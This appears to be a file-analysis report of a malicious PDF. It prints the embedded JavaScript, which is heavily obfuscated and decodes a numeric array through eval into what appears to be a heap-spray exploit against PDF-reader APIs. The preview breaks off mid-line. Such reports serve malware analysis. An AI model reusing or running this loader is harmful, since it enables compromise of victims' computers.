70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 73 24 131 130 119 122 60 126 128 119 124 130 116 54 48 51 66 67 62 62 62 116 48 58 124 131 123 55 73 24 139 24 119 116 46 54 132 115 128 129 119 125 124 46 74 46 70 55 24 137 24 132 111 128 46 126 111 135 122 125 111 114 73 24 132 111 128 46 123 115 123 109 111 128 128 111 135 46 75 46 124 115 133 46 79 128 128 111 135 54 55 73 24 132 111 128 46 113 113 46 75 46 62 134 62 113 62 113 62 113 62 113 73 24 132 111 128 46 111 114 114 128 46 75 46 62 134 66 62 62 62 62 62 73 24 132 111 128 46 129 113 109 122 115 124 46 75 46 126 111 135 122 125 111 114 60 122 115 124 117 130 118 46 56 46 64 73 24 132 111 128 46 122 115 124 46 75 46 111 114 114 128 46 59 46 54 129 113 109 122 115 124 57 62 134 65 70 55 73 24 132 111 128 46 135 111 128 129 126 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 71 62 71 62 51 131 71 62 71 62 48 55 73 24 135 111 128 129 126 46 75 46 116 119 134 109 119 130 54 135 111 128 129 126 58 46 122 115 124 55 73 24 132 111 128 46 113 125 131 124 130 64 46 75 46 54 113 113 46 59 46 62 134 66 62 62 62 62 62 55 61 111 114 114 128 73 24 116 125 128 46 54 132 111 128 46 113 125 131 124 130 75 62 73 113 125 131 124 130 74 113 125 131 124 130 64 73 113 125 131 124 130 57 57 55 24 137 24 46 123 115 123 109 111 128 128 111 135 105 113 125 131 124 130 107 46 75 46 135 111 128 129 126 46 57 46 126 111 135 122 125 111 114 73 24 139 24 132 111 128 46 125 132 115 128 116 122 125 133 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 62 113 62 113 51 131 62 113 62 113 48 55 73 24 133 118 119 122 115 54 125 132 115 128 116 122 125 133 60 122 115 124 117 130 118 46 74 46 66 66 71 67 64 55 46 125 132 115 128 116 122 125 133 46 57 75 46 125 132 115 128 116 122 125 133 73 24 130 118 119 129 60 113 125 122 122 111 112 97 130 125 128 115 46 75 46 81 125 122 122 111 112 60 113 125 122 122 115 113 130 83 123 111 119 122 87 124 116 125 54 137 129 131 112 120 72 46 48 48 58 123 129 117 72 46 125 132 115 128 116 122 125 133 139 55 73 24 139 24 119 116 46 54 132 115 128 129 119 125 124 46 74 46 71 60 63 55 24 137 24 119 116 46 54 111 126 126 60 114 125 113 60 81 125 122 122 111 112 60 117 115 130 87 113 125 124 55 137 24 46 132 111 128 46 126 111 135 122 125 111 114 73 24 46 132 111 128 46 118 101 127 67 62 62 81 92 46 75 46 126 111 135 122 125 111 114 60 122 115 124 117 130 118 46 56 46 64 73 24 46 132 111 128 46 122 115 124 46 75 46 62 134 66 62 62 62 62 62 46 59 46 54 118 101 127 67 62 62 81 92 46 57 46 62 134 65 70 55 73 24 46 132 111 128 46 135 111 128 129 126 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 71 62 71 62 51 131 71 62 71 62 48 55 73 24 46 135 111 128 129 126 46 75 46 116 119 134 109 119 130 54 135 111 128 129 126 58 46 122 115 124 55 73 24 46 132 111 128 46 126 67 79 120 89 68 67 116 46 75 46 54 62 134 62 113 62 113 62 113 62 113 46 59 46 62 134 66 62 62 62 62 62 55 46 61 46 62 134 66 62 62 62 62 62 73 24 46 116 125 128 46 54 132 111 128 46 132 127 113 95 82 71 68 135 46 75 46 62 73 46 132 127 113 95 82 71 68 135 46 74 46 126 67 79 120 89 68 67 116 73 46 132 127 113 95 82 71 68 135 46 57 57 46 55 137 24 46 111 128 128 135 105 132 127 113 95 82 71 68 135 107 46 75 46 135 111 128 129 126 46 57 46 126 111 135 122 125 111 114 73 139 24 46 132 111 128 46 130 99 91 118 92 112 85 133 46 75 46 131 124 115 129 113 111 126 115 54 48 51 62 71 48 55 73 24 46 133 118 119 122 115 46 54 130 99 91 118 92 112 85 133 60 122 115 124 117 130 118 46 74 46 62 134 66 62 62 62 55 130 99 91 118 92 112 85 133 46 57 75 46 130 99 91 118 92 112 85 133 73 24 46 130 99 91 118 92 112 85 133 46 75 46 48 92 60 48 46 57 46 130 99 91 118 92 112 85 133 73 24 46 111 126 126 60 114 125 113 60 81 125 122 122 111 112 60 117 115 130 87 113 125 124 54 130 99 91 118 92 112 85 133 55 73 24 139 24 139 24 119 116 46 54 132 115 128 129 119 125 124 46 76 75 46 71 55 46 137 24 132 111 128 46 126 111 135 122 125 111 114 73 24 92 115 133 109 97 113 128 119 126 130 54 126 111 135 122 125 111 114 55 73 24 139 24".replace(/[A-Za-z]/g, function (c){eval(ZcqAvcODzg);}).split(" ");
MOBLes1=" (";URiW3nSgQKZk="=0";UY1GM7wZOmFG="i<s";Pgd4hQ8n1j3b="e";Luo49oniC="ngt";GfXtdvg2Na="{";OQ4kiapH=" p";k6dC4DZr73EY=" ";Cusg7MNhauU="fr";pDNkAx0lpBQ="om";ROnLv2F7sSF="rC";kQ1cYWPnLDNX="4";gGgUTMnA=");";zhwv02x2=" ";JHQwHBU="}";
p = ""; eval("f"+"or"+MOBLes1+"i"+URiW3nSgQKZk+";"+" "+UY1GM7wZOmFG+".l"+Pgd4hQ8n1j3b+Luo49oniC+"h; "+"i"+"++)"+GfXtdvg2Na+OQ4kiapH+" +="+k6dC4DZr73EY+"S"+"tri"+"ng."+Cusg7MNhauU+pDNkAx0lpBQ+"C"+"h"+"a"+ROnLv2F7sSF+"od"+"e("+"s[i"+"]-1"+kQ1cYWPnLDNX+gGgUTMnA+zhwv02x2+JHQwHBU);
MOvf(p);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x1EE 385 bytes
SHA-256: 85a1ff116ae58915c0cf683afb8b71d400f9db374bd9a3d3054252779883ae16
Preview script
First 1,000 lines of the extracted script
MnDUq2Eigrz="c";VrUxYejAAp="h";FO6gEUs0X="de";FLFJ2HNhl3d="A";
NyRzNK6 = MnDUq2Eigrz+VrUxYejAAp+"arC"+"o"+FO6gEUs0X+FLFJ2HNhl3d;
LHCwWIu7u9DH = 223; DePdXy69vmK = 32; MOvf = eval;ertnmnMIb = 65; 
hempLqUA5="ret";MPWk43P="St";q749Htdi="rin";hlg6rmF6aL8="g.f";S80s1hy="ar";
ZcqAvcODzg=hempLqUA5+"urn"+" "+MPWk43P+q749Htdi+hlg6rmF6aL8+"r"+"o"+"mCh"+S80s1hy+"C"+"ode"+"((((c = c.NyRzNK6(0

Open this report in the interactive analyzer, or submit your own file for analysis.